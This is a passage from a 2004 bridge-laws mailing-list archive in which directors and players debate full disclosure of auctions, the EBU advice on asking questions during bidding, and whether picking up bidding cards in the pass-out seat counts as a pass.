HCP. I have shown nothing, all my calls > >were relays". And it is far much easier for me to=20 > >get the picture from an explanation like that than=20 > >if I had each individual call explained separately. >=20 > This is a complete over-simplification, and a trap that is often > fallen into. The relays show something: they show that the asker > thought it was reasonable ot ask at that stage. >=20 > Consider >=20 > 1C - 1S - > 1N >=20 > where 1C is Precision, 1S shows 8+, 5+Ss, 1NT asks. Now, many people > suggest this shows nothing, but they are wrong: it shows that the = player > had a hand where asking was more suitable than bidding a natural > 2C/D/H/S. I used to play such a system: I know. "All my bids are > relays and show nothing" is usually MI. >=20 > Now players who are good enough ot understand the inferences will > probably understand this anyway. But for them to understand what > choices asker made they probably need to know the meaning of various > bids along the way. >=20 > Take a simple sequence >=20 > 1D - 1S - > 1NT - 2C - > 2NT - 3NT >=20 > where 1C is natural, and 2C is asking, Crowhurst or NMF or something. = I > ask the range of the 1NT rebid, and people tell me that *now* opener = has > shown 15-16 with two spades. Sometimes they get annoyed when I ask > "What did 1NT show at the time?". But to get a feel for what = responder > has for his 2C bid you may need ot know this. get the picture from an >=20 > I do not mind players offering to shortcut the process so long as = they > are prepared to explain in full if opponents require it. I am fully aware of this and to a certain point I do agree with David's views. However I still maintain that bids like our old friend Blackwood = and the more modern relay bids do not "show" anything. According to = agreements you are (usually) free to use these bids regardless of what your hand = looks like.=20 This is the one situation where I consider the phrase in Law 75C = relevant: "need not disclose inferences drawn from his general knowledge". To me it is "general knowledge" that when a player uses a convention to = ask his partner for some information ("how many aces do you hold" or "tell = me more about your hand") it is because he wants that information in order = to decide which final contract to aim for. Anybody can deduce "something" = about his hand causing him to make such bids, but the bids do not "show" = anything. And although I believe that most of the times the total picture of a = hand is what is of interest I fully agree that occasionally it may be important = to know the progress how this picture was arrived at during the auction. = For such cases it must of course be legitimate to ask clarifying questions = like "what did 1NT show at the time". =20 > >If a pair on a question like mine fails to mention that the player = who > >opened 1H has shown 5 hearts (when that is their agreement) his > disclosure > >is incomplete. Usually I am not interested in learning that it was = the > >opening bid which promised 5 cards, but I am very interested to know = the > >fact that a 5 card suit has been shown during the auction. > > > >And there is no need to change the laws for this. On the contrary the > >present laws discourage interest in specific calls and dictate that > >explanations shall be asked and given for the auction as a whole. >=20 > This means individual calls, not the sum of them, which is against = the > letter and spirit of L75A. This I believe is where we read laws 20, (40) and 75 differently. These laws, and in particular law 75 opens the door for having each individual call explained separately (on the condition that all calls are asked and explained), but I see nothing in neither the letters nor the spirit that prevents a player from asking for the "sum" of the available information = to be given as a whole.=20 That he also (or alternatively) may ask for an explicit explanation of = each individual call is obvious.=20 Regards Sven From jaap.vander.neut@noos.fr Mon Mar 15 09:00:53 2004 From: jaap.vander.neut@noos.fr (Jaap van der Neut) Date: Mon, 15 Mar 2004 10:00:53 +0100 Subject: [blml] Standard References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: <00ab01c40a6c$130d9720$8a5b4151@yourhpbmye9tmb> So basically you say this EBU thing is not a bridge regulation but an anti cheating regulation. Don't worry, I can easily understand such a regulation and its 'howling success in EBU land'. But strangly in most other jurisdiction we can handle Stayman-ask-club-lead type of jokes (which is cheating not bridge) with current laws. Anyway if I really wanted to play bridge like that your futile laws are not stopping me. If I cannot question-bid or not-question-bid anymore I can left-hand-bid and right-hand-bid and so on. The real problem here is how to handle the contradictory freedom of system versus full disclosure paradox while avoiding UI. I don't see how this is possible but that is just me. But for bridge playing purposes (I know I play high level so I have limited experience with low and mid level problems) it is necessary to have some idea what the opps are doing DURING the auction because you might have to double or bid something. Of course at this stage I am not interested in detailed explanations, but I want to know what is trumps, is someone relaying, is it about slam, this kind of stuff. Of course I will ask before the opening lead 'tell me'. But this doesn't change the fact I will ALWAYS ask what is going on during the action if I don't know. This is necessary information to play bridge. But this is typically a high level problem (at low level you don't often run into relay sequences) and high level typically plays with screens. At lower level it makes sense to discourage single bid questions (at high level we don't do that anyway). But the only reasonable way to do that is to state that you shouldn't ask about unalerted bids. So that means that universal conventions (Stayman, Jacoby) should not be alerted anymore or they should be alerted in a different way from 'real alerts'. Given the original idea of alerts (attention something strange is going on) it makes no sense that you cannot or should not ask about an alerted call. And for a related subject. One of the problems with asking or not asking is that sometimes you don't ask because you want to make a bid in a certain meaning that might become inpossible given a certain answer. This problem is also unsolvable but it helps if the difference between wrong explanation and wrong bid is dropped at least for conventional bids (leave the discussion about the requiered definition for a minute). This would have other advantages anyway. Jaap ----- Original Message ----- From: "David Stevenson" To: Sent: Monday, March 15, 2004 3:08 AM Subject: Re: [blml] Standard > Gordon Bower wrote > >On Fri, 12 Mar 2004, Hinden, Frances SI-PXS wrote: > > > >> [Frances] > >> People criticising the EBU seem to have missed the point. > >> It's not a regulation, it's a piece of advice. The advice is that if > >> you ask during the auction, you may be giving partner UI. Does anyone > >> say that isn't true? It aims to stop people asking pointed questions > >> and then getting cross when they are ruled against. This seems a very > >> sound ambition to me. > > > >The ambition is sound. Yes, asking during the auction may give partner UI. > > > >The problem is that the EBU advice does exactly the opposite of its aim. > >By advising you only to ask when you have an immediate need for the > >information, *they have turned all questions during the auction into > >pointed questions*. > > > >There are normally any number of reasons someone might ask a question, and > >very little chance that a question will demonstrably suggest anything. By > >advising people to ask questions for one reason only, you assure that a > >much larger proportion of questions will demonstrably suggest something. > > It is intriguing how many people who are not in England assume that a > regulation which has been a howling success at reducing a serious > problem to minute proportions is completely wrong. > > The aim of the EBU regulation was to stop the continuous club leads to > alerted Stayman bids, diamond and heart leads to transfer bids, the > French defence to 1NT openings, two-level takeout doubles [less values > if done after a question] and so on and so on. > > I know that players could be continually calling the TD for UI rulings > in clubs - club TDs would love that - but the solution of getting the > problem to go away in most cases seems laudable. Why do you consider it > a failure? > > Maybe in North America fifteen years ago players asked what a 2C > response to 1NT was always or never. In which case you did not need our > reg: but we did. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From hermandw@hdw.be Mon Mar 15 09:11:04 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 15 Mar 2004 10:11:04 +0100 Subject: [blml] Pass out seat action? In-Reply-To: References: Message-ID: <40557328.4010008@hdw.be> Well, consistent with the approach that we accept a lead after 3 people tap their last bidding card, the player who takes up their bidding cards has in fact passed. So he has now indicated he wants to change his call and L25B applies. Since there have been 3 passes since then, that change of call has been accepted. John (MadDog) Probst wrote: > Just a quickie. > > In front of you in the pass-out seat in a competitive part score auction > you have a red and then a green card. The auction gets back to you in > the pass-out seat. You pick up the two bidding cards a couple of inches > off the table, pause, shrug, put them down and then bid 3C for the sake > of argument (which would then be followed by 3 obvious passes). The NYPD > arrives and you say "I changed my mind and decided to bid 3C". > > Did you ever pass? (and of course if you didn't then 3C is allowable, UI > notwithstanding) > > Would it be different at rubber, or a non SO game? > > I thought this one was quite difficult; not helped by the fact that one > of the NOs is a retired EBU TD to whom I owe a lot. cheers John -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ehaa@starpower.net Mon Mar 15 13:26:25 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 15 Mar 2004 08:26:25 -0500 Subject: [blml] Standard In-Reply-To: <028301c40a36$712246c0$c69868d5@tinyhrieuyik> References: <008001c4081d$f218c580$6a9868d5@tinyhrieuyik> <7BE165DF-745D-11D8-A936-0030656F6826@rochester.rr.com> Message-ID: <5.2.0.9.0.20040315081028.0261c2a0@pop.starpower.net> At 09:37 PM 3/14/04, Nigel wrote: >[Ed Reppert] >why isn't Law 20 part of this discussion? > >[David Stevenson] >Time. If we accept your interpretation of L20 - as you know, >I don't - then following the Laws means that bridge games >never finish. >[Nigel] > >In response to "please explain the auction", Ed is *not* >suggesting that you follow law 20 literally with a tediuus >bid-by-bid explanation. > >Ed suggests that, instead, you divulge what partner's calls >have told you about his hand (without any inferences from >your own hand). For example "partner's hand is 12-14 HCP >flat with four spades but not four hearts". Surely, such >an explanation (if legal), *saves* time? It does save time, and, IMO, it is legal. If it is acceptable to the person asking for the explanation, it should be (and, I believe, is) acceptable under the law. It does not, however, provide as much information as a bid-by-bid explanation does -- there may be inferences from an opponent's call which are only available if you know what he knew about partner's hand at the time he made it, as opposed to what he knew at the end of the auction. While Ed's suggestion should be allowed, even encouraged, the right to have the opposing auction explained bid by bid must be retained. My disagreement with Nigel isn't about whether Ed's idea is a viable one, but merely about whether accepting it requires a change in TFLB. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From nancy@dressing.org Mon Mar 15 13:37:18 2004 From: nancy@dressing.org (Nancy T Dressing) Date: Mon, 15 Mar 2004 08:37:18 -0500 Subject: [blml] Pass out seat action? References: <40557328.4010008@hdw.be> Message-ID: <001701c40a92$a3fd5c90$6401a8c0@hare> The current ACBL rules, whether they are followed at the clubs or not, are that the bidding ends in two ways - a verbal pass or a pass card on the table. Picking up your bid cards or tapping the pass card does not constitute a pass. In this example the auction is still live as there have not been three legal passes. I enforce this rule in all my games. Mike Flader published this in a recent ACBL bulletin. I think "tapping the table" is a poker, blackjack, etc. custom. Not bridge...... Nancy ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Monday, March 15, 2004 4:11 AM Subject: Re: [blml] Pass out seat action? > Well, consistent with the approach that we accept a lead after 3 > people tap their last bidding card, the player who takes up their > bidding cards has in fact passed. So he has now indicated he wants to > change his call and L25B applies. Since there have been 3 passes since > then, that change of call has been accepted. > > John (MadDog) Probst wrote: > > > Just a quickie. > > > > In front of you in the pass-out seat in a competitive part score auction > > you have a red and then a green card. The auction gets back to you in > > the pass-out seat. You pick up the two bidding cards a couple of inches > > off the table, pause, shrug, put them down and then bid 3C for the sake > > of argument (which would then be followed by 3 obvious passes). The NYPD > > arrives and you say "I changed my mind and decided to bid 3C". > > > > Did you ever pass? (and of course if you didn't then 3C is allowable, UI > > notwithstanding) > > > > Would it be different at rubber, or a non SO game? > > > > I thought this one was quite difficult; not helped by the fact that one > > of the NOs is a retired EBU TD to whom I owe a lot. cheers John > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > From blml@blakjak.com Mon Mar 15 14:38:00 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 14:38:00 +0000 Subject: [blml] Standard In-Reply-To: <000001c40a6b$f755f2c0$6900a8c0@WINXP> References: <000001c40a6b$f755f2c0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> Take a simple sequence >> >> 1D - 1S - >> 1NT - 2C - >> 2NT - 3NT >> >> where 1C is natural, and 2C is asking, Crowhurst or NMF or something. I >> ask the range of the 1NT rebid, and people tell me that *now* opener has >> shown 15-16 with two spades. Sometimes they get annoyed when I ask >> "What did 1NT show at the time?". But to get a feel for what responder >> has for his 2C bid you may need ot know this. get the picture from an >> >> I do not mind players offering to shortcut the process so long as they >> are prepared to explain in full if opponents require it. > >I am fully aware of this and to a certain point I do agree with David's >views. However I still maintain that bids like our old friend Blackwood and >the more modern relay bids do not "show" anything. According to agreements >you are (usually) free to use these bids regardless of what your hand looks >like. > >This is the one situation where I consider the phrase in Law 75C relevant: >"need not disclose inferences drawn from his general knowledge". > >To me it is "general knowledge" that when a player uses a convention to ask >his partner for some information ("how many aces do you hold" or "tell me >more about your hand") it is because he wants that information in order to >decide which final contract to aim for. Anybody can deduce "something" about >his hand causing him to make such bids, but the bids do not "show" anything. It comes down to the alternatives and what has been shown. If at some stage of the auction a player bids 3D [relay] it may be general knowledge that he shows that 3D is the best available bid, but this means nothing to his opponents unless they know what his partner has shown *and* what alternatives he has. Bridge is an open game: let us not abandon Full disclosure just to make it easier for a pair to explain their methods quickly - and incompletely. >And although I believe that most of the times the total picture of a hand is >what is of interest I fully agree that occasionally it may be important to >know the progress how this picture was arrived at during the auction. For >such cases it must of course be legitimate to ask clarifying questions like >"what did 1NT show at the time". > >> >If a pair on a question like mine fails to mention that the player who >> >opened 1H has shown 5 hearts (when that is their agreement) his >> disclosure >> >is incomplete. Usually I am not interested in learning that it was the >> >opening bid which promised 5 cards, but I am very interested to know the >> >fact that a 5 card suit has been shown during the auction. >> > >> >And there is no need to change the laws for this. On the contrary the >> >present laws discourage interest in specific calls and dictate that >> >explanations shall be asked and given for the auction as a whole. >> >> This means individual calls, not the sum of them, which is against the >> letter and spirit of L75A. > >This I believe is where we read laws 20, (40) and 75 differently. These >laws, and in particular law 75 opens the door for having each individual >call explained separately (on the condition that all calls are asked and >explained), but I see nothing in neither the letters nor the spirit that >prevents a player from asking for the "sum" of the available information to >be given as a whole. > >That he also (or alternatively) may ask for an explicit explanation of each >individual call is obvious. It may be obvious to you and me, Sven, but if I thought it was obvious to everyone I would not be contributing to this thread. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 14:41:34 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 14:41:34 +0000 Subject: [blml] Pass out seat action? In-Reply-To: References: Message-ID: <9OQAP3FeCcVAFwV0@blakjak.demon.co.uk> John (MadDog) Probst wrote >Just a quickie. > >In front of you in the pass-out seat in a competitive part score auction >you have a red and then a green card. The auction gets back to you in >the pass-out seat. You pick up the two bidding cards a couple of inches >off the table, pause, shrug, put them down and then bid 3C for the sake >of argument (which would then be followed by 3 obvious passes). The NYPD >arrives and you say "I changed my mind and decided to bid 3C". > >Did you ever pass? (and of course if you didn't then 3C is allowable, UI >notwithstanding) You passed in Denmark [or is it the Netherlands?] who sensibly have a regulation for this. In my view you passed. If you had not changed your mind you would have put the cards away in their box - you were never intending to use the pass card. So you were going to be sloppy over the regs anyway, and you should not be allowed to gain form your sloppiness. >Would it be different at rubber, or a non SO game? No. Same thing: whatever the game, why should a player be allowed to gain from his failure to follow the rules? >I thought this one was quite difficult; not helped by the fact that one >of the NOs is a retired EBU TD to whom I owe a lot. cheers John -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 15 14:43:10 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 14:43:10 +0000 Subject: [blml] Pass out seat action? In-Reply-To: <001701c40a92$a3fd5c90$6401a8c0@hare> References: <40557328.4010008@hdw.be> <001701c40a92$a3fd5c90$6401a8c0@hare> Message-ID: Nancy T Dressing wrote >The current ACBL rules, whether they are followed at the clubs or not, are >that the bidding ends in two ways - a verbal pass or a pass card on the >table. Picking up your bid cards or tapping the pass card does not >constitute a pass. In this example the auction is still live as there have >not been three legal passes. I enforce this rule in all my games. Mike >Flader published this in a recent ACBL bulletin. I think "tapping the >table" is a poker, blackjack, etc. custom. Not bridge...... .... but it is very common in the North American Nationals. The problem is that if it happens and is tolerated then a player who does this has passed: he cannot get the benefit of the doubt now. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nigel.guthrie@ntlworld.com Mon Mar 15 16:59:50 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 16:59:50 -0000 Subject: [blml] Standard References: <000001c40a6b$f755f2c0$6900a8c0@WINXP> Message-ID: <011a01c40aae$eeb76480$7b9468d5@tinyhrieuyik> TFLB (see below) seems to say you should *ask* about the auction as a whole; but you should *answer* by explaining each call, individually. Often you would prefer an opponent to save time with a description of what the whole auction implies about his partner's hand (Ed's suggestion). Eric and Sven say this is legal. I hope they are right but twice the law says you should explain individual calls rather that all partner's calls together. I remember a warning by Grattan that whatever TFLB does not explicitly allow is illegal. Assuming that Eric and Sven are right, however, and this form of explanation *is* permitted, there still appears to be no obligation on an opponent to comply with a request to couch his answer in that form. Furthermore, if the request to describe their partner's hand is legal and the law does oblige an opponent to comply then it certainly is not obvious or well-known. Finally, if an inner circle of TDs and BLMLers are aware of this obscure interpretation, what is the objection to letting all players into the secret by changing TLFB. [TFLB 20C] During the auction and before the final pass, any player, at his own turn to call, may request a full explanation of the opponents' auction (questions may be asked about calls actually made or about relevant calls available but not made); replies should normally be given by the partner of a player who made a call in question (see Law 75C). [TFLB L75C] Answering Questions on Partnership Agreements. When explaining the significance of partner's call or play in reply to an opponent's inquiry (see Law 20), a player shall disclose all special information conveyed to him through partnership agreement or partnership experience, but he need not disclose inferences drawn from his general knowledge and experience. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.620 / Virus Database: 399 - Release Date: 11/03/2004 From ereppert@rochester.rr.com Mon Mar 15 17:27:51 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 15 Mar 2004 12:27:51 -0500 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: Message-ID: <15D0A3F6-76A6-11D8-B313-0030656F6826@rochester.rr.com> On Sunday, Mar 14, 2004, at 17:15 US/Eastern, Robert E. Harris wrote: > Case 2. I notice that I have a club on the table when I should have > played a spade. I could still correct this unestablished revoke. > Failing to correct the unestablished revoke is an intentional > violation of the laws, not excused by 72B3. Law 62A specifically requires the correction of the revoke. What is the corresponding law in the case of a flawed claim? It seems there is none - save 72A2. If I discovered that I had mistakenly claimed (and scored) more tricks than I could have made, in the correction period, I would inform the director. If I discovered, within the correction period, that an opponent had done that, I would withdraw acquiescence in the claim (Law 69B). If I were the claimant, and did *not* discover that I'd made this mistake (a most likely occurrence, since I rarely think about hands once they're over), I would of course say nothing. In all of these cases, I would not expect a sanction (in the second case against opponent) for what I've done (or not done). Violation of Law 62A is easy to prove - violation of Law 72A2 is not. From blml@blakjak.com Mon Mar 15 18:24:32 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 15 Mar 2004 18:24:32 +0000 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <15D0A3F6-76A6-11D8-B313-0030656F6826@rochester.rr.com> References: <15D0A3F6-76A6-11D8-B313-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Sunday, Mar 14, 2004, at 17:15 US/Eastern, Robert E. Harris wrote: > >> Case 2. I notice that I have a club on the table when I should have >>played a spade. I could still correct this unestablished revoke. >>Failing to correct the unestablished revoke is an intentional >>violation of the laws, not excused by 72B3. > >Law 62A specifically requires the correction of the revoke. What is the >corresponding law in the case of a flawed claim? It seems there is none >- save 72A2. > >If I discovered that I had mistakenly claimed (and scored) more tricks >than I could have made, in the correction period, I would inform the >director. If I discovered, within the correction period, that an >opponent had done that, I would withdraw acquiescence in the claim (Law >69B). If I were the claimant, and did *not* discover that I'd made this >mistake (a most likely occurrence, since I rarely think about hands >once they're over), I would of course say nothing. In all of these >cases, I would not expect a sanction (in the second case against >opponent) for what I've done (or not done). Violation of Law 62A is >easy to prove - violation of Law 72A2 is not. No, perhaps not, but we do not rely on proof. It is very easy to demonstrate that a player has accepted the score for a trick his side did not win or the concession of a trick the opponents could not lose. But the word knowingly is the problem. Like so many other parts of the laws we apply the TD makes a judgement decision. I think the importance of L72 where matters like this are concerned is that it tells us what we must do and what not. Rarely does it become particularly relevant for a ruling. For example it has been discussed here and on RGB and on IBLF whether you are allowed [or whether it is ethical] to do certain things where infractions are concerned. This Law tells us the answer. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From siegmund@mosquitonet.com Mon Mar 15 19:24:30 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 15 Mar 2004 10:24:30 -0900 (AKST) Subject: [blml] Standard In-Reply-To: Message-ID: On Mon, 15 Mar 2004, David Stevenson wrote: > It is intriguing how many people who are not in England assume that a > regulation which has been a howling success at reducing a serious > problem to minute proportions is completely wrong. > > The aim of the EBU regulation was to stop the continuous club leads to > alerted Stayman bids, diamond and heart leads to transfer bids, the > French defence to 1NT openings, two-level takeout doubles [less values > if done after a question] and so on and so on. As I said, the aim is an honourable one. > I know that players could be continually calling the TD for UI rulings > in clubs - club TDs would love that - but the solution of getting the > problem to go away in most cases seems laudable. Why do you consider it > a failure? > > Maybe in North America fifteen years ago players asked what a 2C > response to 1NT was always or never. In which case you did not need our > reg: but we did. Fifteen years ago, I couldn't say: I've been playing tournament bridge for eleven years now, and directing for eight. In my experience it's a minor problem confined entirely to beginners who don't know better. In all that time I can recall only two cases at my table where a moderately experienced player's question seemed a bit suggestive. I've neither called a director nor been called for this infraction, ever. Players here sometimes are advised not to ask until the end of the auction - but the advice is always followed by "because you don't want to bail out the opponents if they're having a misunderstanding," on suspicion the other side might abuse UI - the idea of giving your partner a problem by asking just doesn't cross people's minds much here, apparently. Why do I consider the EBU approach a failure? Well.... on BLML, we've had a number of cases involving UI after a question, and all the cases seem to have come from outside North America. And you've just asked me to comment on the EBU appeals from last year -- two of the nineteen appeals involved this very regulation, while two other appeals involved hesitations. We get plenty of UI-from-hesitation rulings here, and some of them are appealed. The evidence available to me so far is that a) the motivating problem is an extremely rare one and b) the "solution" has *doubled* the number of people who are put into a damned-if-you-bid, damned-if-you-dont situation. Yes, I call that a failure of monumental proportions. I admit that my conclusion is based on two assumptions -- that my experience as a player and director has been typical, and that my small sampling of EBU cases has been representative. I suppose this will be another issue like "red psyching" that we'll be forced to agree-to-disagree about. My feelings there are much the same - a small problem with a draconian solution that infringes on player's rights. GRB From gesta@tiscali.co.uk Mon Mar 15 16:36:52 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 15 Mar 2004 16:36:52 -0000 Subject: [blml] Explain References: Message-ID: <001501c40acc$415e6d10$6de4403e@multivisionoem> Grattan Endicott To: Sent: Monday, March 15, 2004 2:19 AM Subject: Re: [blml] Explain << Therefore, I: (a) support Ton's torque on Law 73F2, (b) do not support Grattan's torque on Law 73F2, << +=+ My 'torque' is simply to say that whether you are Mrs. Grigglemouse at the Isachsen Bridge Club or Chairman or Secretary of the World Laws Committee you have no power to make the law what you would like it to be merely by asserting it to be so. The WBFLC put that method out to grass soon after Kaplan departed. (Minutes: 6 of 24 Aug 98, 17 of 1 Sep 98, and 4 of 20 Jan 2000.) On the 'explain' thread I have simply maintained that since the WBFLC has made no pronouncement on the subject of 73F2 the law is as it reads and any Director, AC or NBO is entitled to understand it as he/she/it may. My personal view is based upon how I know we intended it in 1987. Kaplan thought that the 'demonstrable bridge reason' test would do it, and none of us knew any better. Whilst I hear the argument for change, which ton puts very forcefully and I do not oppose, I do not yet perceive a whole solution as to the manner in which it may be done without conceding to the unscrupulous the facility to create a false impression by asking a question - something that we sought to avoid in 1987. Perhaps the easiest is for the WBFLC to be invited to say that black is white in respect of the current wording, although this thought may be a mite cynical. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Mon Mar 15 20:29:03 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 15 Mar 2004 20:29:03 -0000 Subject: [blml] Standard References: <000001c40a14$ff66d710$6900a8c0@WINXP> <026f01c40a34$22cc2d80$c69868d5@tinyhrieuyik> Message-ID: <001601c40acc$424f35b0$6de4403e@multivisionoem> Grattan Endicott To: Sent: Monday, March 15, 2004 2:20 AM Subject: Re: [blml] Standard > > Presumably, the notorious Equity Muse will inspire > sophisticated additions to WBFLC for TFLB (2006)? > If so, surely, nobody can grudge a few clarifications > as a sop to ordinary players? > +=+ My lips are sealed. Grattan Endicott Equity Mews Mossley Hill +=+ From gesta@tiscali.co.uk Mon Mar 15 20:39:27 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 15 Mar 2004 20:39:27 -0000 Subject: [blml] Standard References: <000001c40a6b$f755f2c0$6900a8c0@WINXP> <011a01c40aae$eeb76480$7b9468d5@tinyhrieuyik> Message-ID: <002501c40acd$b778b090$6de4403e@multivisionoem> Grattan Endicott To: Sent: Monday, March 15, 2004 4:59 PM Subject: Re: [blml] Standard > I remember a warning by Grattan that whatever > TFLB does not explicitly allow is illegal. > +=+ Anything not authorised in the laws is extraneous. (Paraphrase of item 8, minute of 24 Aug 98.) - 'illegal' is inexact, as also is 'allow'. ~ Grattan ~ +=+ From HarrisR@missouri.edu Mon Mar 15 21:48:46 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 15 Mar 2004 15:48:46 -0600 Subject: [blml] Standard In-Reply-To: <00ab01c40a6c$130d9720$8a5b4151@yourhpbmye9tmb> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <00ab01c40a6c$130d9720$8a5b4151@yourhpbmye9tmb> Message-ID: Here's an example of an auction from a few nights ago. 1C*-P(me)-1H-P 1S-P-2H-P 2S-P-3H-P 3S-P-4H-P 4S-P-P-P *Alerted I asked after the 1C bid and was told "13 plus HCP, shows nothing about clubs." I asked about NT range, was told "10-12 HCP." I asked again after the final pass and before making the opening lead, and was told "he probably has 7 clubs and 6 spades." At some point in this auction it must have become clear that opener held clubs and spades. (It was pretty clear he did not hold hearts.) So it seems to me that there comes a point in such an auction that some further explanation is needed before the opening lead is made, even if no one asks. (None of the bids after 1C is alertable in the ACBL, but still...) Actually, they play fairly standard opening bids, except for NT hands not fitting their NT ranges and awkward distributional hands, either no 5 card major or a hand with long clubs. Well, I'll get to ask them again tonight, maybe. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From nigel.guthrie@ntlworld.com Mon Mar 15 21:58:43 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Mon, 15 Mar 2004 21:58:43 -0000 Subject: [blml] Standard References: <000001c40a6b$f755f2c0$6900a8c0@WINXP> <011a01c40aae$eeb76480$7b9468d5@tinyhrieuyik> <002501c40acd$b778b090$6de4403e@multivisionoem> Message-ID: <005601c40ad8$b0476860$e99868d5@tinyhrieuyik> [Gratan Endicott] +=+ Anything not authorised in the laws is extraneous. (Paraphrase of item 8, minute of 24 Aug 98.) - 'illegal' is inexact, as also is 'allow'. [Nigel] Isn't that a tautology, Gratton. It appeared to me that you interpreted this meta-rule as forbiding what the Law does not explicity permit. I vaguely remember it was in the context of asking about *future* bids? The law doesn't mention it. Since the law doesn't say you *may* do it, you shouldn't do it? Something like that. Anyway what does the law say about answers in the format that Ed would like. Are you permitted to ask an opponent about his partner's hand, rather than the meaning if each call. Is the opponent obliged to anwer in the desired format? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From HarrisR@missouri.edu Mon Mar 15 22:04:46 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 15 Mar 2004 16:04:46 -0600 Subject: [blml] Pass out seat action? In-Reply-To: References: Message-ID: John (Maddog) Probst wrote: >Just a quickie. > >In front of you in the pass-out seat in a competitive part score auction >you have a red and then a green card. The auction gets back to you in >the pass-out seat. You pick up the two bidding cards a couple of inches >off the table, pause, shrug, put them down and then bid 3C for the sake >of argument (which would then be followed by 3 obvious passes). The NYPD >arrives and you say "I changed my mind and decided to bid 3C". > >Did you ever pass? (and of course if you didn't then 3C is allowable, UI >notwithstanding) > >Would it be different at rubber, or a non SO game? > >I thought this one was quite difficult; not helped by the fact that one >of the NOs is a retired EBU TD to whom I owe a lot. cheers John Much better to have the FBI arrive. It's a Federal felony to lie to them. If he usually picks up his cards without putting out a pass card to end the auction, then he has passed when he starts to pick up the cards. No matter what the ACBL regulations say. If he complains, I'll let him bid under Law 25B, but not otherwise. But if he regularly puts down a pass card to end the auction, as I do, then he has not passed. He has provided extraneous information, but in this case it would not amount to much. (Maybe he misleads the opponents and causes them to err on defense? Ah, more Director business!) REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Tue Mar 16 00:33:20 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 16 Mar 2004 10:33:20 +1000 Subject: [blml] Entitled to know (was Standard) Message-ID: Eric Landau: [big snip] >>Not every good idea means that the law book needs amendment. Sven Pran: >It is quite reasonable and ought to be more common at all >levels to simply ask something like: "What are we entitled to >know from your auction?" > >An answer could for instance be: "Partner has shown 5 spades, >4 hearts, 3 diamonds and a single club, 18-19 HCP. I have >shown nothing, all my calls were relays". [big snip] Richard James Hills: In my opinion, Sven's example of full disclosure is not quite full enough. I play a relay system, and in those circumstances I would not necessarily say merely, "I have shown nothing, all my calls were relays," but I might also add "the timing of my relay-break suggests that I have a doubleton spade" or "the extended repetition of my relays suggests that I have extra values". Some time ago, I had an extended blml conversation with gafiated blmler Alain Gottcheiner over whether or not Law required the full disclosure of negative inferences. As there is still a common misconception amongst hoi polloi that negative inferences need not be disclosed, I disagree with Eric Landau that the Laws do not need amendment. The current Law 20F1 includes this phrase: ".....a full explanation of the opponents' auction....." I suggest that this Law 20F1 phrase be given a clarifying amendment in 2006, to read: ".....a full explanation (including both positive and negative inferences) of the opponents' auction....." Best wishes RJH -----------------------------------------------------------------------= 